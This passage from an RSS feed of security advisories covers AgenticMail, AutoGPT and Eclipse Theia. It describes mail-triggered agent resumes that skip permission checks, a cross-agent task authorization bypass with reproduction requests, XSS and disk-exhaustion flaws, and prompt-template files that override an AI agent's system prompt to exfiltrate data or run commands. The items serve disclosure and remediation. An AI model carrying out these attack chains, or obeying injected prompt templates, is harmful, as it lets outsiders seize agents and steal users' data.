Mirror the guarded sibling: before any `bypassPermissions` resume (dispatcher.ts handleBridgeMail, before planBridgeWake), require trusted provenance — an internal sub-agent wake OR `isOperatorReplySender(from, config.operatorEmail)`; otherwise deliver the mail normally but do NOT resume. Reuse the existing exported `isOperatorReplySender` from @agenticmail/core so the two privileged email paths share one authentication helper. Defense-in-depth: in composeBridgeWakePrompt, wrap the untrusted fields in explicit untrusted-data delimiters and drop `bypassPermissions` for mail-triggered resumes whose provenance is not the operator. Apply the same sender gate to `tryProcessApprovalReply` (manager.ts:261).

## Affected versions
Present on current HEAD (core 0.9.42 / claudecode 0.2.38, commit b95f52e). No fix retrofits the sender check onto bridge-wake.

## Severity (honest, both ways)
HIGH, plausibly CRITICAL in a configured headless-bridge deployment. Ceiling ~9.0 (unauthenticated external sender -> operator-privileged code execution). Floor ~7.0: the auth gap is unconditional, but full impact requires (1) a fresh]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[AgenticMail: Cross-agent task authorization bypass in AgenticMail API]]></title>
                <link>https://github.com/advisories/GHSA-hjwc-26pj-v3pm</link>
                <description><![CDATA[## Summary

A low-privileged authenticated AgenticMail agent can enumerate another agent's pending/claimed tasks by supplying the target agent name to `GET /api/agenticmail/tasks/pending?assignee=`. The returned task objects include the task IDs and payloads. The same task IDs can then be used with the capability-style task mutation endpoints (`/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`) to claim, complete, or fail tasks assigned to a different agent.

Because ordinary authenticated agents can discover agent names through `GET /api/agenticmail/accounts/directory`, the task ID effectively stops being a secret capability. This turns the intended capability model into a cross-agent authorization bypass.

## Affected component

Package: `@agenticmail/api`
Observed version: `0.9.62`
Repository: `agenticmail/agenticmail`

Relevant code paths:

- `packages/api/src/app.ts`: `createAuthMiddleware(...)` is mounted before `createAccountRoutes(...)` and `createTaskRoutes(...)`, so these routes are reachable by any valid bearer token.
- `packages/api/src/routes/accounts.ts`: `GET /accounts/directory` is available to any authenticated user and returns agent names.
- `packages/api/src/routes/tasks.ts`: `GET /tasks/pending?assignee=name` resolves arbitrary agent names and returns that agent's pending/claimed tasks.
- `packages/api/src/routes/tasks.ts`: `/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`, and `/tasks/:id` do not check whether the authenticated caller is the task assignee, assigner, or otherwise authorized for the task.

## Impact

An attacker only needs a valid agent API key. They can:

1. List agent names using `/accounts/directory`.
2. Query another agent's task queue using `/tasks/pending?assignee=`.
3. Read sensitive task payloads intended for the victim agent.
4. Use the disclosed task ID to complete/fail/claim the victim's task or submit attacker-controlled results.

## Local reproduction

I reproduced this locally with a focused Vitest test mounted directly on `createTaskRoutes`. The test creates two agents, Alice and Bob, and one pending task assigned to Bob. Alice authenticates with her own agent key and performs the following sequence:

1. `GET /api/agenticmail/tasks/pending?assignee=Bob` with `Authorization: Bearer ak_alice`.
2. The response is HTTP 200 and includes Bob's task ID and payload: `task-for-bob`, `{ "task": "secret task intended for Bob" }`.
3. Alice then sends `POST /api/agenticmail/tasks/task-for-bob/complete` with her own bearer token and an attacker-controlled result.
4. The task status becomes `completed` and the stored result is controlled by Alice.

The local verification command was:

```bash
npm run test --workspace=@agenticmail/api -- task-routes-authz.test.ts
```

Result:

```text
PASS src/__tests__/task-routes-authz.test.ts (1 test)
```

## Expected behavior

Task listing and task mutation endpoints should enforce an authorization relationship between the authenticated caller and the task. For example:

- `GET /tasks/pending?assignee=` should either be restricted to the current agent, master/admin callers, or an explicit delegated relationship.
- `/tasks/:id/claim`, `/tasks/:id/result`, `/tasks/:id/complete`, `/tasks/:id/fail`, and `/tasks/:id` should verify that the caller is the assignee, assigner, master/admin, or otherwise explicitly authorized.
- If capability-based task IDs are retained, the API should not expose those IDs to unrelated agents through the assignee-name listing path.

## Credit

Please credit the finder as: Yaohui Wang]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-55237: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-55237</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions prior to 0.6.62 have a DOM-based Cross-Site Scripting (XSS) vulnerability in AutoGPT's signup page. The application improperly trusts a URL parameter (`next`), which is passed to `router.push`. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 0.6.62 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2025-32437: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2025-32437</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `MediaDurationBlock` will download and store the video in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `MediaDurationBlock ` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2025-32436: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2025-32436</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `AddAudioToVideoBlock` will download and store the video and audio in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `AddAudioToVideoBlock` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2025-32424: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2025-32424</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, ScreenshotWebPageBlock will store the captured screenshots in a temporary directory. `StepThroughItemsBlock` can be used to iterate `ScreenshotWebPageBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `ScreenshotWebPageBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2025-32422: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2025-32422</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `StepThroughItemsBlock` can iterate all the contents in a list and send them to `FileStoreBlock` for downloading one by one. Although `FileStoreBlock` has access time limits for downloading files, `StepThroughItemsBlock` can be used to slowly iterate and download relatively small files (e.g., 100M) multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `FileStoreBlock` does not limit the amount of disk space consumed in the current working directory. When a malicious user chooses to download too many videos, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2025-32392: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2025-32392</link>
                <description><![CDATA[AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, AutoGPT's LoopVideoBLock allows users to input a video file and process the video, such as looping it 5 times or extending the time, and finally writing it to disk. However, there is no limit on the resources that can be allocated during execution. For example, the number of loops is user-controllable and unlimited. When a malicious attacker loops too many times, the generated video is too large, and after writing it to disk, the disk space is exhausted, eventually causing DoS. Version 0.6.63 patches the issue.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-46580: In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts/*.prompttemplate in a workspace were auto]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-46580</link>
                <description><![CDATA[In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Fri, 19 Jun 2026 12:00:31 +0000</pubDate>
                            </item>
            </channel>
</rss>
